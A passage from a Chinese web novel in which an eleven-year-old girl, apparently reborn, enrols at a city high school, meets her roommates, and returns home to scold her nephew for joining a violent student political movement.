“刘兵的录取通知书，喏～拿去！”李知德漫不经心的把录取通知书递给刘老师。 等到面对刘兵的时候，冷淡的态度又变得和蔼起来，他安慰道：“刘兵同学，虽然你中考的成绩有些不太理想，但请不要气馁，在我们县中好好学习，你也是有机会能考上大专，甚至是大学的！” 还是个孩子呢，刘老师被开除后人家也改正了许多，李知德想不出要怎么对这个孩子冷言冷语。 刘兵声音微弱道：“谢谢校长！” 他今天本来想自己来领录取通知书的，可他小叔非要跟着他一块来，也不知道他小叔究竟是怎么想的。 “行了，你们都出去吧，别杵在我这办公室了，这地儿小，你们在这，其他来领通知书的都不敢进来了！” 李知德都下逐客令了，他们也不好在多留，钟莹莹她们跟刘老师前后脚出了办公室。 快走到校门口的时候，刘老师拦着钟莹莹她们。 “对不起，钟同学，楚同学，还有祁同学，当初是我狭隘了！”刘老师是真心悔过了！因为他的一己私心，不仅伤害了班里的学生，还让他自己弄没了工作，现在他只能找了个搬卸的临时工暂时干着。 要是没有这些，他还是以前那个风光无限的老师该有多好。 祁绮和楚秀秀面面相觑，不知该作何反应，最终两人都把目光转移到了钟莹莹身上，想看她怎么说。 被小伙伴们委以重任的钟莹莹只好挺身而出，站在了刘老师面前。 钟莹莹开口道：“刘老师，你的歉意我们收到了，我们就此别过！” 说完她就很光棍的拉着祁绮个楚秀秀走了。 刘老师有刹那间的怔愣，接着他又苦笑了两声，理解了钟莹莹的意思；接受不代表原谅。 他对她们心理上还有学习上造成的伤害，不是一句两句道歉就能弥补的。 刘老师疯癫癫的跑回家去了，刘兵在他后面担心的跟着，这就是钟莹莹她们此生见到刘老师的最后一面，多年后，她们偶然间听说，有位刘姓老师，正值壮年，不小心跌了一觉，跌到水里淹死了。 在不知道是谁的情况下，她们还唏嘘了好久。 赶火车那天，钟莹莹见到了祁绮的哥哥祁丰，她有些失望，还以为会见到祁绮父母，她想见识一下，这个年代当官的，和他们普通老百姓有什么不一样。 钟莹莹也是哥哥钟绍华送过来的，她爹钟伟先赶车把两人送过来，然后再把牛车赶回村。 “幸会幸会！”两个哥哥一见面就开始寒暄起来。 今天钟绍华也换上了平常不会穿的好衣服，为的就是别人能不看扁他妹妹。 没想到妹妹的同学的哥哥，是他姐夫的手下，两人还见过。 当时蝗虫来袭，钟绍华躲到公安大厅里，牛吓拉了，拉的牛粪不是说黄有德清理的吗？其实他只打扫了一半就被叫去开会了，剩下的是祁丰这个倒霉蛋打扫的。 “你家那个牛，拉的牛粪可臭了，那天我擦地的时候，给我熏个够呛！”稍微熟悉了一下后，祁丰就忍不住吐槽。 对领导这些事情他不好说，都是他应该干的，抱怨的话还显得他不认真工作。 “真是太不好意思了，那天我是真着急！学校放假，我赶着去接小孩呢，我姐夫说他会扫，我就走了，没想到最后是你倒霉了！”钟绍华有点想笑又不敢笑。 他在心里吐槽他姐夫，黄有德，却无德，真缺德啊！ 祁丰：“没事，我就随口一说，就是那个牛粪太臭了！当时回家我好一顿洗，才洗掉手上那个味！” 天知道，用手擦牛粪，他是咋克服心理障碍的。 “哥，你别说了，等会还要吃中午饭呢！”这个火车他们要坐上一整个白天，照这个话题聊下去，大家都不用吃午饭了。 祁绮觉得这两个哥哥说的话题，实在太有‘味道’了！即使社恐如她，也忍不住出来制止。 祁丰见妹妹不想听，便就此打住，躺回自己的铺上休息了，几人就这么锁了车厢门，昏昏沉沉的睡了过去，等到再次醒来，已经是乘务员拍打车厢门，不断呼喊他们到站了，该下车的时候了，这顿午饭最终还是没有吃上。 第82章 拎着大包小包的行李，到了地方还不能直接去学校，因为还不到报名的时间，去了也没人放他们进去，报名明天才开始呢。 钟绍华带着介绍信去招待所开了两间房，他拒绝祁丰，自己出了全部的钱。 穷家富路，出发之前陈显英和钟明月都给他兜里塞了钱，所以他现在富裕的很。 “你就别跟我客气了，就凭咱俩的牛粪之交，今天这钱也得我来出！” 话都说到这份上了，祁丰不同意也得同意了。 祁绮想和钟莹莹一间房，但是双方哥哥都不同意。 市里的招待所鱼龙混杂，不一定安全，两个小女孩住一间容易成为别人下手的目标。 所以祁绮只能心不甘情不愿的和她哥睡了一间房，她本来还想和小姐妹说一晚上悄悄话呢，白天睡了一天，晚上压根不困，跟她哥住一间房，没什么好聊的，只能睡觉了。 祁丰有事要出去一趟，就先把妹妹和行李都托付到了钟莹莹他们那屋。 等过了大概半个小时，祁丰回来时，手里揣了四个饭盒，大家才知道他干什么去了。 “嘶～好烫，你们快接着啊！” “哥，你在哪买的啊？” “你吃就完了，我有我的路子，抓紧吃完了，我还要把饭盒还给人家呢！” “这是你们兄妹俩的，拿好了啊！不许拒绝！房钱你们出了，饭钱总该让我表示表示！” “我是公职人员，不好白吃白喝人家的啊！” 钟绍华接过饭盒，有点哭笑不得，不就帮着出了一次房费吗？至于这么敏感？ 他却不知道，自己在别人眼中也是如此敏感。 祁家兄妹俩刚给予帮助，他就要把恩情还回去，某种程度上，这两对兄妹算是遇上对手了。 酒足饭饱，刚觉得自己晚上能聊一整天的人也困了，可她还不能睡，她得等她哥把饭盒还了，再接她回房间睡觉，就这么等啊等，等到她眼睛都要闭上了，祁丰终于回来了。 “我要困死了！”说完祁绮幽魂一样，头也不回的回到了自己房间。 至于祁丰则是任劳任怨的跟在后面收拾烂摊子，行李什么的他也懒得搬了，让钟家兄妹俩看着，他放心的很。 “这？” “哥，咱俩也睡吧！明天还要早起呢！”钟莹莹也困了，火车上睡是睡了，颠簸摇晃的身上不太爽利，才下车多久又开始困了。 开的房是双人间，里面有两张单人床，各睡各的互不打扰。 钟莹莹躺下后，钟绍华确定门窗都管好后，又把凳子搬过去，抵住大门，才躺在另一张床上睡下了。 市中和县中的环境完全是一个天一个地，单就占地面积，市中就比她们的县中大了一倍不止。 祁丰：“托你俩的福，我也算是见过世面了！” 钟绍华：“对，要不是你俩，咱们也进不来！” 说的是实话，手里没拿录取通知书，也没跟着个拿录取通知书的孩子，还想要进市中的人，通通都被保安拦在了学校大门之外。 那俩保安跟县中看门的老大爷不一样，一看就是个练家子，那一身的腱子肉，祁丰在他们身上嗅到了同类的味道。 不是军方出身，就是跟他一样，局里出来的。 果不其然，那保安见祁丰一直盯着他们，眼神对视间，明白对方的身份后，立马敬了一个礼。 祁丰立马回了一个，并且上去称兄道弟打探情况道：“兄弟，我们今天刚来这，还不知道这学校啥情况呢！” “新生报名在那里啊？有没有什么需要注意的啊？” 祁丰一边说，一边不动声色的往保安手里一人塞了一包烟。 “都是战友，不要嫌弃啊，我们家俩孩子以后还麻烦你们多照顾了！” 那俩保安也很识趣，见周围没人看见，很快把东西揣到口袋里，拍了拍祁丰的肩膀道：“当然了，大家都是战友，你家孩子，就是我家孩子。” “就这俩是吧，我们记住了！” “以后要是想出校买啥东西之类的，跟哥哥们说一句就成。” 说着两人盯着钟莹莹和祁绮看了好久，像是要把她俩的样子记在脑子里一样。 正常情况下，市中是不允许学期中间学生私人出校的，可收了人家东西，在规则允许的范围内，他们愿意给她们行个方便。 “我叫陈平，他叫王刚，你们喊我俩陈哥、王哥就行！” 祁丰上前一步握住两人的手道：“那就谢谢陈哥还有王哥了！” 陈平大气一笑，粗着嗓子道：“那有啥可谢的，都是战友！” “你们的行李可以先放我俩保安室寄存一下，报名缴费什么的还得排队，麻烦的很，等报完名分好宿舍再来拿过去也不迟！” 祁丰：“说的也是，那就麻烦你二位了！等中午请你俩吃饭！” “别，心意领了，吃饭不行，学校规定，在岗期间不允许外出吃饭。”他俩今天一天都得值班，根本没时间。 “你们不是来报名的吗？快进去吧！沿着校门这条主路直走，走到头，看见一个圆形的建筑，那块就是报名点。” “学校老师搬着桌子板凳坐在门口等着呢！你们走到地方就能看见！” 陈平朝着祁丰挤了挤眼睛，接着又道：“偷偷提醒你们两句，去那个女老师的桌子前面报名缴费，那个男老师脾气不太好，关系户，你懂得！” 后面又有新生和家长过来，陈平两人要去忙接待的事情，没空在和他们闲聊，祁丰回了他一个感激不尽的眼神，就带着钟绍华还有两个妹妹进校了。 学校的主干路两侧各种了一排银杏树，树不是很大，但翠绿的银杏叶遮蔽住了天上燥热的阳光，留给树荫下地人们一丝凉意。 走在这条路上，所有人都在觉得不愧是市中，历史底蕴浓厚，书香氛围浓郁啊！ 只有钟莹莹在不着调的想，这么多的银杏，等秋天它们结了果，果子掉到地上，不知道该有多臭！ 钟莹莹的思维发散的无边无际，一会儿想到这一会儿想到那。直到钟绍华提醒她，要签字报名了，她才回过神来。 如那俩保安说的，报名点放了两排桌子，分别坐了一男一女两位老师，他俩身后应该是学校财务处的老师在负责数钱收钱。 钟莹莹几人得到提醒，毫无疑问的坐到了女老师面前。 报名途中，就听见那个男老师不断的敲击桌子，怒骂道：“说了几遍，你们听不懂还是怎么着？字要签在这里，要签在这里！” “你们把字写到方框外去，这张报名表还怎么用啊？” “要是人人都像你们这样！那我们学校一年得浪费多少纸张？” 钟莹莹瞥了一眼，那报名表上的签字压根没有问题，只是有一个笔画写出线了，这男老师就是在借题发挥。 她又看了看男老师面前站着的父女俩，身上穿的衣服毫无例外都打着补丁，父亲的头发已经半白了，小女孩脸上也怯弱的很。 这老师不仅是借题发挥，还看人下菜碟，狗眼见人低啊！ 男老师又骂骂咧咧好多句，女老师看不过眼了，嘴了他一句：“牛犇，不要再骂了，多耽误时间，你看看你面前队伍排多长了？” 牛犇立马回骂道：“钱沐，关你什么事？真是狗拿耗子，多管闲事！” 女老师，也就说钱沐，被人这么说了，也不生气，只是不再想管牛犇的闲事，她加快了自己手下的动作，想早点把自己工作做完，早点回去，远离身边这个智障。 钟莹莹和祁绮的入学手续很快办好，念及俩人是一个地方出来的，钱沐还很贴心的给俩人分到了同一个班级，同一个宿舍。 几人离开报名点去保安室取行李时，还听见那个牛犇依旧在骂人。 祁绮：“想不到市中也有跟我们刘老师一样的人！”她对市中的幻想在此刻完全破灭。 “哪里都有好人，也不缺坏人！凡事记得多长个心眼！”祁丰斜睨她一眼。 做为一名警察，表里不一的人，他不知道见了多少，当然，像他妹妹这般表里如一傻的出奇的，确实很少见。 市中的老师有败类，但是市中的学生宿舍条件好的不得了，在这个年代就已经是四人间，虽然不是后世的上床下桌组合家具，但是比起之前的六人间，八人间，甚至是十六人间，条件是相当优越了。 祁丰感慨道：“还是你们好啊，我们那个时候哪有这个条件！” 他读书的时候，学校环境差的不得了，那时候县中连宿舍都没有，睡在学校的学生，晚上就是把课桌拼在一起，就这么凑合着睡。 他家住县里，但是天天回家也不方便，爹娘工作也忙，没时间照顾他，他就只能跟同学一块挤在教室的课桌上。 祁绮和钟莹莹住上下床，他们来的早，选了靠窗的床位，祁绮怕高，钟莹莹睡上面，她睡下床。 钟绍华和祁丰两人手脚麻利的把整个宿舍都打扫了一遍，将她俩的床也给铺的好好的，全程没让她们动手。 第83章 “都弄好了，咱们是等你们其他室友过来，还是先出去吃个饭？” 钟莹莹和祁绮各自选了一个柜子，将自己的衣服，冬天的厚被褥，还有家里带的比较能存放的吃食全都锁到了里面。 她俩在柜缝中夹了纸条写了名字垂在外面，一眼看过去，醒目的很。这样后来的人就能很清晰的认知到这两格柜子已经有主了。 “我们先走吧！她们还不知道什么时候来呢！” 比较重要的物品都锁起来了，也不怕丢东西。 之前那俩保安说了，市中的报名时间是一整天，没准剩下俩室友等到下午才能来，不知道确切时间，在这等着也是白白浪费时间。 祁绮点头：“对！” 四人组锁上寝室的门，一道离开了寝室。 吃完饭，钟绍华和祁丰两人就要回家去了。 他俩临走前那叫一个千叮咛万嘱咐，祁丰还给保安又塞了东西，让祁绮和钟莹莹遇到事情了，就去找保安帮忙，给家里或者局里打个电话，他很快就过来。 钟绍华没祁丰那么大能耐，只是一味的告诉钟莹莹别人欺负她不要忍着，他们不惹事也不怕事，出了问题，他烂命一条，有什么事他扛着。 好好的上学，愣是被这两人整成了像上刀山下火海一般。 回去的火车俩人坐的是火车硬坐，软卧那么贵，省点钱干啥不好，俩大男人，坐个硬座又坐不死人。 “你们回来啦？” 钟莹莹和祁绮两人的新室友是非常可爱的两个女孩子。 “我们刚来就见寝室已经被打扫干净了，谢谢你们啊！我是宋悦，她叫牛丽华，我俩是发小。”短发女生宋悦看着娇小，说起话来却是风风火火。 她的发小牛丽华，看着比她高很多，钟莹莹约摸着大概有一米七。 但是她的性格和身高完全不符合，超大只的长发美人，一见到她们羞涩的恨不得把自己整个人都藏到宋悦身后去。 可惜宋悦比她小只太多，完全遮掩不住她的身体。 这两位是很有反差感的朋友。 “你们好，我是钟莹莹！” “我是祁绮！” “你们分在哪一班了啊？” “一班。” “一班。” “好巧啊，我俩也是一班，那我们不光是一个寝室的室友，还是一个班的同学，以后可以一起上下学了！” 宋悦活泼开朗的不行，从一见面起，小嘴叭叭的就没有停过。 “你看起来好小啊！今年多大了？”宋悦已经十八了，她发小牛丽华也十七了。 新室友看起来年纪都不大，尤其钟莹莹，瞧上去更像是初中生。 钟莹莹：“我十一，再过几个月就十二了！” 她的年纪在一群高中生当众格格不入，她早就预料到了会有今天这一遭。 宋悦惊叹：“这么小的啊！那你是上学早、还是跳级了啊？” 如果是跳级，那他们班就有了个小天才。 如果不是跳级，那他们班也是拥有了一个早慧的聪明同学。 牛丽华也好奇的竖起了耳朵。 “上学早！” 钟莹莹不认为自己是天才，她只是比别人多活了一世，多学了一些时间，并没有比别人聪明到哪里去。 “那等你大学毕业也才十七岁！比我上高中年纪还小呢，我都十八了！” “十八？” 祁绮看着宋悦那娃娃脸，还有一五五的身高，明明她看上去也没比钟莹莹大多少。 宋悦：“对，我还有个对象，回头介绍给你们认识？” “对象？” 宋悦在寝室里又放出一颗炸雷，她自己却浑然不觉。 “我俩说好了，一毕业就结婚，到时候请你们喝喜酒！”宋悦的声音里带着几分甜蜜，显然对于这个对象满意的很。 “你这也太快了吧？” 祁绮有些恍惚，他们还在读书的年纪，室友已经规划好自己的婚事，自己放假时出去玩晚一点回家都要和爹娘报备，征得同意，她俩好像不是活在同一个世界。 宋悦：“哪里快了！” “你算算，我现在都十八了，毕业那年就二十一了，结婚正正好，要是等到大学毕业再结婚，我都二十五了，成老姑娘了！” “早点结婚，早点成家立业有哪里不好？” 钟莹莹：“那你男朋友今年多大啊？他也是我们学校的学生吗？” 宋悦摇摇头。 “不是的，他在邮局上班。” 祁绮：“你跟社会上的人士谈对象？他年纪比你大吗？” 宋悦：“比我大！” “你们放心，我没被骗，我们从小就认识，不信你问丽华！” 牛丽华被三双眼睛盯着，十分不好意思的轻轻点头，证明宋悦说的是真的。 宋悦接着道：“再说了，我上高中的钱都是人家出的，他能骗我啥？” “我爹娘嫌我是个女的，考上高中也不愿意给我读，是我对象拿出自己的工资，给我交了学费，他就比我大三岁，我们感情好着呢！” 宋悦不用别人问，就叽里咕噜把自己的家庭情况秃噜个一干二净。 “我们才刚认识一天！” 祁绮神色有些复杂，她这是第一次见比自己还单纯的人。 宋悦无所谓的耸耸肩：“接下来我们还要相处三年，就算现在不说，你们以后也慢慢会知道的！” 这就是她的生存之道，她处理不来过于复杂的关系。 身边的朋友合则来，不合则散，一路走来，只有一个牛丽华始终不离不弃。 新室友也是一样，要是知道她的事情就不愿意与她来往，那不如早一点断交，免得未来打好关系后再生痛苦。 钟莹莹：“那你还挺幸运的！” 宋悦：“？” 头一次听到有人这么评价她，她不太明白，为什么说她幸运。 钟莹莹：“你想啊，你爹娘不想让你读书，你想读书是吧？” 宋悦嗯了一声。 钟莹莹继续说：“接着你就谈了个对象，你对象给你出了学费，你心想事成了，这不算幸运吗？” 宋悦：“你说的确实有道理！”但是总感觉好像有哪里不对。 不想了，脑容量就这么大，想的杂事多，装下的知识就少。 她甩了甩脑袋，她的脑子是拿来考大学的，其他东西通通从她脑子里滚出来。 宋悦清理完脑子，胳膊搂着牛丽华道：“丽华哥哥是学校老师，如果你们有什么需要帮助的，可以给丽华说！” 牛丽华太内向了，宋悦希望她能多交几个朋友，这样自己不在学校的时候，她才不会受欺负。 新室友不介意自己的事情，应当是比较包容的。 在她看来，丽华只是比较慢热，性格还是很好的，如果大家愿意给她时间，那么丽华一定能交到许多朋友。 姓牛？钟莹莹和祁绮立马想起来她们唯一知道的市中的牛姓老师。 祁绮迟疑道：“是牛犇老师吗？” 是的话那就太糟糕了。 “不是！” “你们怎么知道牛犇老师的？该不会倒霉催的排到了他那一队里去*了吧？” 市里但凡听过他名声的，都会离他远远的，也就只有县区的懵懂无知，一头扎进陷阱里。 钟莹莹：“没有，就是走的时候听见他骂人，骂的有些难听！” 何止难听，要不是还顾忌着一点教师的身份，钟莹莹怀疑，他可能连生殖器式的骂街都能张口就来。 “牛犇老师他爹是副校长，你们不要得罪他！” 一直沉默着的牛丽华突然开口了。 曾经有学生当众反抗牛犇，最后的结果却令人大失所望，副校长当场让牛犇道歉，后面却随便找了个由头开除了那学生。 “丽华和牛犇是本家，她说的话你们必须得信！” 宋悦因为和牛丽华关系好，也见了不少牛家人，除了牛丽华和她哥哥，整个牛家就没好人。 刚开学就遇上‘体制二代’，钟莹莹能说什么呢！ “如果你们得罪他了，可以找我帮忙，我哥是高三年级的班主任，牛闰桥。” 因着钟莹莹和祁绮没有看不起宋悦，也没有嘲笑自己胆小，牛丽华愿意跨出自己的舒适圈，向两人抛出橄榄枝。 宋悦说了，就算她一无是处，她也有个好哥哥，只要哥哥在，她就不用怕，说她本身也是一个很优秀的人。 长这么大，除了哥哥，只有宋悦夸过她，所以宋悦说的她都会听的。 钟莹莹：“非常谢谢你们告知我们这些信息！” 按照以往在县中整治刘老师的经验，要是牛犇哪天针对她们，没准钟莹莹真会莽上去。 这下知道其中厉害，她一定会更加小心的。 这个小心是指如果被人欺负了，她绝对不会去找副校长，她甚至觉得校长都不一定可靠，偌大一个市，总能找到讲理的人，学校不行，就教育局，市里不行就省里。 现在所有事情都没发生，她只是做一个最坏的打算，当然，能不和牛犇对上，还是不对上的好，平安度过这三年，老实考个大学才是她的归宿。 晚上躺下床上，她又想起两个新室友的事情。 对于宋悦的对象，她也有了一点想法，生在这个年代，不结婚似乎是不太可能的，等她辗转反侧好久后，终于决定，她结婚可以，但是只生一胎，还得跟自己姓，如果那男的不同意，那就生完把孩子抱回钟家岗，再离婚。 她相信，在钟家岗，没人能夺走她的孩子。而且，有了孩子后，爹娘和工作单位都放心，至于孩子爹，有没有无所谓，只需要贡献一颗……咳咳好像有点扯远了。 碎觉碎觉，以后的事情以后再考虑，她现在只是一个还没满十二周岁的孩子啊！ 第84章 在继周岱等人离开后，钟家岗迎来了第三批下乡潮。 这一批的人数比周岱还有王岳两波人加一起还要多，而且不光有知青，还有下放人员。 和之前的邓荣不一样，这次的下放人员上面特地嘱咐了，要给他们上一上劳动改造的强度，只要保证人不死，那就往死里用。 谁心软，谁就和他们一起接受改造。 新来的知青一路上对下放人员非打即骂，一个个的看起来就不是善茬。 那些下放人员也不是好的，盯着人看的眼神阴测测的。 如果可以，钟强先是一个也不想接回村。 但人在屋檐下，不得不低头。 他不接收他们，那他就是思想不正确，要被送去劳动改造。 要是牺牲他一个能够幸福全村人，那他也认了。 可他知道那是不可能的事，就算他进去了，他们村依旧要接收上面分过来的知情和坏分子。 怎么样都是错啊！ 回到村里，钟强先索性将知青们全丢到王岳那边，也不做安排，随他们狗咬狗去了。 至于下放的？通通给他住牛棚。 牛呢？送回钟伟先家的牛屋养着去，反正本来也是他家的牛，送回去也不是说村里就不能用了。 让那些坏分子照顾村里的宝贝牛，钟强先不放心。 天气转凉，地里很多菜都需要采收。 钟强先让知青们和那些坏分子们收拾收拾，都去地里干活去了。 “手脚都麻利点，不要把菜给采坏了！这些都是全村人的公共财产，破坏了需要赔偿，我还会在你们的档案上记上一笔！” “你们要是不怕，那就随便！反正将来档案上有污点的不会是我！” 知青们听着话，立刻横眉冷对，坏分子们也是一脸不高兴，他们本就成分不好，要是档案再被划拉一笔，那不知道还要被拉到什么更坏的地方去。 钟强先看他们这个反应，心里乐开了花。 他是之前在王岳和朱志鑫身上才发现这招特别好使的。 以前他从来没想过，自己还会有胡乱威胁人的一天。 现在他却做的得心应手，他不知道这样到底对不对，但是为了全村的安宁，他愿意去做坏人。 钟家岗的活从来没个尽头，菜收完了，要洗菜晾菜，最后还要腌制，搬运。 等腌菜弄完了，土豆又该收了，收完土豆，红薯和水稻也差不多了，接着又是一顿忙活。等忙完了，这些东西还需要进一步的晾晒，加工等等。 这些都干完了，种冬小麦的时间又到了，半年下来，这些知青和坏分子们是苦不堪言。 偏偏他们想举报都没有理由，钟家岗的村民跟他们干的是一样的活，甚至还要更多。 哦，不对，他们倒是找到了一丝破绽，但就在举报信都写好了，正要向上递交时，发现王岳正在偷笑。 把他打了一顿后，才得知事情的真相。 众人惊出了一身冷汗，越发的觉得这小小的村子深不可测，至此以后，他们安静了好长一段时间。 日子一天天过去，乡下的日子实在太苦了，知青们为了偷懒，又想了一个法子，那就是教村民们识字。 没想到刚好撞到枪口上，正好碰到钟家岗村民们的强项上了。 看着钟家岗村民上至六七十岁老妪，下至三四岁孩童，一个个写字流畅规整，知青们生出一种错觉，到底他们是乡下人还是自己是乡下人？这也太打击人了！ 这批知青下乡大多是非自愿，好多学习是一塌糊涂，被赶鸭子上架送过来的。 虽然学历比钟家岗的人高，但是这学历拧一拧能挤出多少水分那就说不定了。 得知是第一批知青教的，崩溃的他们嚎啕大哭，怒斥前人把他们这些后人的路都给堵死了，自己吃肉连口汤也不给他们留。 就在这时，学校里突然刮起一阵妖风。 好多学生打着自立自强的旗帜，加入了名叫小小兵的组织。 钟新澄也报名参加了，丽丽和他一个学校，怎么劝，他都不听，他的双眼已经完全被蒙住了，整天不是想着斗这个，就是想着斗那个。 若不是他爹娘和他爷爷奶奶在家里实在权威，他连村里人也想斗上一斗。 学校里面完全乱了套了，有贴大字报的，有批斗老师的，有给同学剃阴阳头的，一个比一个过分。 钟莹莹所在的市中也被波及到了，但因为是全封闭式的学校，受到的影响还是要比外界小上许多。 钟莹莹知道，现在这场风波只是小打小闹，很快会平息，真正的重头戏放在七年后，那时候她正好大学毕业，可以分配工作，只要不读师范专业，不当老师，就能完美的避开那一波浪潮。 冬季来临，参加完最后一场考试，钟莹莹就要放假回家啦！ “钟新澄！”钟莹莹一回家就碰到她的好大侄，拿个小旗帜，一摇一摆的跟着人家游街呢！ 有句话说的好，当你家长辈喊你全名的时候，那你就准备挨打吧！ 当着一群刺头的面她不好发作，等晚上人回到家里，就被她揪着耳朵拎到了堂屋正中间跪着。 “给你爹娘，还有爷奶说说，你在学校都干了什么好事！” 钟莹莹提起这事就气不打一处来，千防万防，家贼难防。 外面人没打进来，她自家人先自投罗网了。 “姑姑，我没错！我们那是英勇无畏牺牲！我们都是革命的先驱者！” 钟新澄头昂的老高，一副死不屈服的样子。 “革命让你给老师同学剃阴阳头？让你拿石头砸牛棚的人了吗？” “那老头都七十多了，你们一石头砸过去，给人砸的一脑门血，万一把人砸死了呢？” 小小年纪，一点慈悲怜悯之心都没有。 钟新澄：“砸死就砸死了，他们是坏分子，应当受到惩罚！” 钟莹莹：“你是谁啊？轮得到你来惩罚他们吗？” 钟新澄：“大领导说了，我们每个人都是国家的主人，我们小学生是祖国的花朵！” 钟莹莹：“还花朵？那让我瞧瞧你这朵花禁不禁打！” 钟莹莹扬起巴掌，在即将落下的瞬间，她看见钟新澄闭上了眼睛，忽然又收回了手。 “木木，你有没有想过，哪天要是被扔石头，被剃头的是我，或者你爷爷奶奶，你爹你娘呢？” “谁敢？我们家又没人做错事！” “那你们打的那些人就全都做错了吗？” 钟莹莹仔细盯住钟新澄的眼睛，不放过他面上任何细微变化，果然在他脸上看到一丝不自然的表情闪过。 看来这孩子并不是无药可救。 “现在你打他们，扔石头扔的是很开心，但是风水轮流转，谁也不会知道将来我们会不会是下一个挨打的。” “你天天跟着他们鬼混，学习能跟上吗？你马上也要考初中了，考不上要回家种地吗？” “我这么说你能明白吗？” 想到自己现在一团稀烂的成绩，钟新澄被骂的低下了头。 而钟绍华和钟明月等人才知道钟新澄在学校干了什么好事。 父见子未亡，抽出七匹狼。 钟绍华没有七匹狼，只有取之不尽用之不竭的竹条。 挨了一顿抽的钟新澄眼睛都哭肿了，钟绍华一边抽，他一边求饶，说他再也不敢了。 但他在家人心中已经再无信誉可言，这顿打是逃不了的。 “你还敢吓丽丽，说她敢告家长就也给她剃头？你剃一个我看看啊？” “天天剃头剃头，我看要不先把你的头给剃了！” 钟绍华抽断了一根竹条后，转头对着身后的钟明月道：“明月，给我拿菜刀去！” 见他娘真的取来菜刀，他爹拿着刀冲着他的头就过来了。 钟新澄觉得项上人头要不保，他爹要杀了他！ “姑姑救我！爷爷救我！奶奶救我……丽丽，救我啊！” 喊了一圈称呼都没人搭理他，他最后连丽丽也放一块求了。 见他爹的刀离他的脑袋越来越近，他立马跪下抱住他爹的腿。 “你给我撒开！” “我不，撒开你就要给我剃头了！我不要剃头！” 阴阳头难看死了，去学校会被人笑话死的。 钟绍华气笑了：“合着你还知道剃阴阳头不好啊！你现在能明白那些被你们剃了头的人的心情了吗？” 见他爹态度松动，钟新澄立马顺杆往上爬，十分狗腿的道：“爹，我真的知道错了，开学我就退了组织，以后再也不干了。” 小小兵再风光也没他的头发宝贵，再说了，要是被他爹剃了阴阳头，小小兵是不会要他的，没准他们还会连着他一起打。 “给丽丽道歉！” “对不起，丽丽，我不该吓唬你的！” 钟新澄顺从的低头服软。 “这个假期你就留在家里老实干活，哪也不许去，有力气去游街，还是家里让你过得太快活了！” 村里小孩一放假就帮家里干活，他们没让钟新澄必须下地干活，所以他没事就闲的到处溜达，这是他们的错。 气温骤降，他们要赶在第一场雪来临之前，把供给国营饭店还有供销社的咸菜送到指定地点。 钟新澄跟着搬比较小的坛子，他接受‘劳动改造’已经快一个月了，身子骨都结实了不少。 钟家忽然有客来访，是他们的老熟人。 第85章 ‘咚、咚、咚～’ 院门被扣响。 “请问是陈显英家吗？” 一道男声骤然发声。 “谁呀？” 大门从里面打开，陈显英和男子迎面撞上。 “你是？” 陈显英见他有些面熟，但一时之间想不起究竟在哪见过。 该男子脸上胡茬横生，满是遮掩不住的风霜，显然是长途跋涉来到此地，还未曾休整过的模样。 “我是宋茹的父亲宋冬宇，之前我们在海市见过。” 陈显英一拍脑门，想起来了：“你看我这记性！” 她在海市人家帮了她那么多忙，这都能忘记，该打该打！ 转头她又想，宋冬宇这胡子拉碴的，跟在海市的形象差远了，她认不出也正常。 “是小茹爹啊～别在门口站着了，快进来坐。” 陈显英给他迎进堂屋之后，脑子还有些迷糊，她有点想不明白，这个时间，这个地点，为何他会来自己村里。 迷茫归迷茫，也不耽误她招呼客人。 “家里没什么好茶叶，这是自家种的薄荷泡的，你尝尝！” 钟家岗一年四季都爱喝这个，夏天消暑，冬天提神解渴。 “谢谢！” 宋冬宇还真渴了，一路上都没顾得上喝水，他的嘴唇都干的起皮开裂了。 头发也乱八七糟的，额头全是汗。 要不是身上的衬衫西裤，还有黑色的大衣，给他撑起了门面，这个样子走出去说他是流浪汉都有人信。 ‘咕嘟～咕嘟～’ 宋冬宇端起茶碗，仰头连喝几大口，直至碗里的茶水都喝完了才放下碗。 陈显英忙不迭的又给他添了一碗。 看着他又是一碗下肚，陈显英暗自腹诽：“天可怜见的，这该是渴了多久啊！” 薄荷的凉气顺着喉管延伸到胃部，乃至全身每一个部位，宋冬宇喟叹了一声：“舒服了！” “陈大姐，我这次来是有点事想请你们帮忙！” 调整好状态后，他终于表明他的来意。 “我家有个亲戚，因为沾上一点事，被送到你们这边来了。” “我查了，她不在你们这个村。” “我想着看能不能把她给调过来，你们帮着照顾点。” “她年纪大了，禁不起折腾了。” 想起步履蹒跚的姑奶奶，宋冬宇就是一阵心酸。 一大把年纪了还要被学生污蔑，搞的晚节不保。 陈显英没一口答应下来，而是迟疑道：“方便说说是啥事吗？” 不是她没良心，忘恩负义。 她这一家老小的，经不起一点波折。 “对不住啊，是我忘记说了！” 宋冬宇慌忙解释，他明白陈显英的顾虑，就算是他自己，突然被亲戚朋友上门求助，也会问明白原因的。 何况又是这个风声鹤唳的节点，人家谨慎一些是应该的。 “我家姑奶奶是当老师的。” 这话一出，陈显英就理解了大半。 老师出事，不就那一二三种原因吗？ “她以前留过洋，你放心，不是私下去的，是公派留学。” “我那姑奶奶一心想着学成归来，报效祖国，刚一毕业，立马就坐飞机回来了。” 热爱祖国的人，陈显英很是敬佩。 “前段时间因为和学生起了冲突，被人举报贪图享受，让下放到了这边。” 宋冬宇继续解释道：“她不是贪图享受，她是以前腿受过伤，没办法长时间行走，这才雇了个小保姆给她推轮椅。” “上课的时候，为了教学效果，她就强撑着站着讲课。” “那些人举报的时候就说她明明能够走路，却奢靡到要花钱请人推着走。” “可我姑奶奶每次上完课，回到家，那两条腿都需要按摩很久，才能消除缓解疼痛。” 宋冬宇越说越激动，捏紧了拳头把桌子锤的哐当响。 他不知道现在的孩子是怎么了？怎么什么事情都能做得出来。 一心为了学生好的老师，能一个个被举报下放到农村。 反而一些沽名钓誉之辈，被高高捧起，好似他们真的做了什么了不得的事情一般。 他们那年代的学生可没这么多心眼子，一个个见到师长就像小鸡见到老鹰一样，被管的服服帖帖的。 陈显英连忙劝道：“你冷静一点！” 宋冬宇缓了一会儿终于平静下来，又恢复成往日那个儒雅冷静的模样，他笑着道：“不好意思啊，陈大姐，是我太激动了。” “没事，没事！”只要不再砸她家桌子就行。 “这是我从海市带过来的！” 宋冬宇拿起堆放在脚边的包裹，大一包小一包的不知道装了多少东西，陈显英都怀疑他是把家给搬过来了。 “这一部分是我给你们带的礼物。” 宋冬宇分出一半的行李，推到陈显英那边。 “来都来了，带什么东西啊？” “你先别忙着拒绝，听我继续说。” “我姑奶奶不知道要在这边待多久，少不了要麻烦你们帮忙照顾着些！” “你放心，也不是说要给她特殊优待啥的，只要她不挨打，病了能看医生就行，所有的钱我来出！” 